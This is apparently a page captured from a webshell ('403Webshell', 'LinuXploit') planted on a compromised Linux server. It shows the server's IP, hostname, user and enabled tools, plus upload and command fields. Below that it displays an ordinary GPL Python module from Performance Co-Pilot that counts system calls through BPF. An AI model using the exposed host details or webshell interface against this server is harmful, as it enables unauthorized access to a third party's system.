- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.224.38.170
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/pcp/pmdas/bcc/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/pcp/pmdas/bcc/modules//syscount.python
#
# Copyright (C) 2018 Marko Myllynen <myllynen@redhat.com>
# Based on the syscount BCC tool by Sasha Goldshtein:
# https://github.com/iovisor/bcc/blob/master/tools/syscount.py
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
""" PCP BCC PMDA syscount module """

# pylint: disable=invalid-name, too-many-instance-attributes

import errno
import subprocess
from ctypes import c_int
from os import path

from bcc import BPF

from pcp.pmapi import pmUnits
from cpmapi import PM_TYPE_U64, PM_SEM_COUNTER, PM_SEM_INSTANT, PM_COUNT_ONE, PM_TIME_NSEC
from cpmapi import PM_ERR_PMID
from cpmda import PMDA_FETCH_NOVALUES

from modules.pcpbcc import PCPBCCBase

#
# BPF program
#
bpf_src = "modules/syscount.bpf"

#
# PCP BCC PMDA constants
#
MODULE = 'syscount'
BASENS = 'proc.syscall.'
units_count = pmUnits(0, 0, 1, 0, 0, PM_COUNT_ONE)
units_nsecs = pmUnits(0, 1, 0, 0, PM_TIME_NSEC, 0)

#
# PCP BCC Module
#
class PCPBCCModule(PCPBCCBase):
    """ PCP BCC syscount module """
    def __init__(self, config, log, err, proc_refresh):
        """ Constructor """
        PCPBCCBase.__init__(self, MODULE, config, log, err)

        self.pids = []
        self.proc_filter = None
        self.proc_refresh = proc_refresh

        self.errno = 0
        self.failed = False
        self.details = False
        self.latency = False

        self.max_pids = 128

        def parse_syscall(line):
            """ Helper to parse ausyscall(8) output """
            parts = line.split()
            return (int(parts[0]), parts[1].strip().decode("UTF-8"))

        try:
            out = subprocess.check_output('ausyscall --dump | tail -n +2', shell=True)
            self.syscalls = dict(map(parse_syscall, out.strip().split(b'\n')))
        except Exception: # pylint: disable=broad-except
            raise RuntimeError("ausyscall: command not found")

        def read_errno(errstr):
            """ Helper to read errno """
            try:
                return abs(int(errstr))
            except ValueError:
                return getattr(errno, errstr)

        for opt in self.config.options(MODULE):
            if opt == 'errno':
                self.errno = read_errno(self.config.get(MODULE, opt))
            if opt == 'failed':
                self.failed = self.config.getboolean(MODULE, opt)
            if opt == 'details':
                self.details = self.config.getboolean(MODULE, opt)
            if opt == 'latency':
                self.latency = self.config.getboolean(MODULE, opt)
            if opt == 'process':
                self.proc_filter = self.config.get(MODULE, opt)
                self.update_pids(self.get_proc_info(self.proc_filter))

        self.cnt_cache = None
        self.avg_cache = None
        self.cml_cache = None
        self.insts = None

        self.log("Initialized.")

    def metrics(self):
        """ Get metric definitions """
        name = BASENS
        self.items = (
            # Name - reserved - type - semantics - units - help
            (name + 'count', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'syscall count'),
            (name + 'latency.avg', None, PM_TYPE_U64, PM_SEM_INSTANT, units_nsecs, 'syscall avg'
                                                                                   'latency'),
            (name + 'latency.cml', None, PM_TYPE_U64, PM_SEM_COUNTER, units_nsecs, 'syscall cml'
                                                                                   'latency'),
        )
        return True, self.items

    def init_insts(self):
        """ Initialize insts """
        self.insts = {}
        for i in range(list(self.syscalls.keys())[-1]):
            if i in self.syscalls:
                self.insts[self.syscalls[i]] = c_int(1)
            else:
                self.insts["UNDEF" + str(i)] = c_int(1)

    def reset_cache(self):
        """ Reset internal cache """
        self.cnt_cache = {}
        self.avg_cache = {}
        self.cml_cache = {}
        self.init_insts()

    def undef_cache(self):
        """ Undefine internal cache """
        self.cnt_cache = None
        self.avg_cache = None
        self.cml_cache = None
        self.insts = None

    def update_pids(self, procs):
        """ Update PIDs to trace """
        prev = self.pids
        if not self.proc_filter:
            return 0
        if not prev and not procs:
            return 0
        if not procs and self.proc_filter:
            self.pids = []
            return -1
        trace_pids = []
        for pid in self.pids:
            if self.pid_alive(pid):
                trace_pids.append(pid)
        if len(trace_pids) == self.max_pids:
            return 0
        found_procs = [p for p in procs if p[0] not in trace_pids]
        if found_procs:
            for proc in found_procs:
                if len(trace_pids) < self.max_pids:
                    trace_pids.append(proc[0])
            self.pids = trace_pids
            for proc in procs:
                if proc[0] in self.pids:
                    info = proc[1] + " " + proc[2] if proc[2] else proc[1]
                    self.log("Tracing PID %s: %s." % (str(proc[0]), info))
            return 1
        return 0


    def compile(self):
        """ Compile BPF """
        try:
            if not self.pids and self.proc_filter and not self.proc_refresh:
                raise RuntimeError("No process to attach found.")

            if not self.bpf_text:
                with open(path.dirname(__file__) + '/../' + bpf_src) as src:
                    self.bpf_text = src.read()

                if self.errno:
                    errno_filter = "if (args->ret != -%d) return 0;" % self.errno
                    self.bpf_text = self.bpf_text.replace("//FILTER_ERRNO", errno_filter)
                if self.failed:
                    failed_filter = "if (args->ret >= 0) return 0;"
                    self.bpf_text = self.bpf_text.replace("//FILTER_FAILED", failed_filter)
                self.bpf_text = self.bpf_text.replace("NR_SYSCALLS", str(len(self.syscalls)))
                self.bpf_text = self.bpf_text.replace("MAX_PIDS", str(self.max_pids))

            if not self.pids and self.proc_filter and self.proc_refresh:
                self.log("No process to attach found, activation postponed.")
                return

            bpf_text = self.bpf_text
            details = "#define DETAILS" if self.details and self.pids else ""
            latency = "#define LATENCY" if self.latency else ""
            bpf_text = bpf_text.replace("DEFINE_DETAILS", details)
            bpf_text = bpf_text.replace("DEFINE_LATENCY", latency)

            bpf_text = self.apply_pid_filter(bpf_text, self.pids, False, True)

            if self.debug:
                self.log("BPF to be compiled:\n" + bpf_text.strip())

            self.reset_cache()
            self.bpf = BPF(text=bpf_text)
            self.log("Compiled.")
        except Exception as error: # pylint: disable=broad-except
            self.bpf = None
            self.undef_cache()
            self.err(str(error))
            self.err("Module NOT active!")
            raise

    def refresh(self):
        """ Refresh BPF data """
        if self.bpf is None:
            return None

        self.init_insts()

        stats = self.bpf["stats"]
        for i in stats:
            val = stats[i].value
            if val:
                key = self.syscalls[i.value]
                self.cnt_cache[key] = val

        if self.latency:
            latstats = self.bpf["latstats"]
            for i in latstats:
                val = latstats[i].value
                if val:
                    key = self.syscalls[i.value]
                    self.cml_cache[key] = val
                    val = val if key not in self.avg_cache else int(val / self.cnt_cache[key])
                    self.avg_cache[key] = val

        check_pids = set()
        stale_pids = set()

        def use_pid(pid):
            """ Helper to quickly check whether to use PID info """
            if pid not in check_pids:
                if pid in stale_pids or not self.pid_alive(pid):
                    stale_pids.add(pid)
                    return False
                else:
                    check_pids.add(pid)
            return True

        if self.details and self.pids:
            pidstats = self.bpf["pidstats"]
            for k, v in pidstats.items():
                if not use_pid(k.pid):
                    continue
                key = str(k.pid) + "::" + self.syscalls[k.id]
                self.cnt_cache[key] = v.value
                self.insts[key] = c_int(1)

        if self.details and self.pids and self.latency:
            pidlatstats = self.bpf["pidlatstats"]
            for k, v in pidlatstats.items():
                if not use_pid(k.pid):
                    continue
                key = str(k.pid) + "::" + self.syscalls[k.id]
                self.cml_cache[key] = v.value
                val = v.value if key not in self.avg_cache else int(v.value / self.cnt_cache[key])
                self.avg_cache[key] = val

        return self.insts

    def bpfdata(self, item, inst):
        """ Return BPF data as PCP metric value """
        try:
            key = self.pmdaIndom.inst_name_lookup(inst)
            if item == 0:
                return [self.cnt_cache[key], 1]
            elif item == 1:
                return [self.avg_cache[key], 1]
            elif item == 2:
                return [self.cml_cache[key], 1]
            else:
                return [PM_ERR_PMID, 0]
        except Exception: # pylint: disable=broad-except
            return [PMDA_FETCH_NOVALUES, 0]

Youez - 2016 - github.com/yon3zu
LinuXploit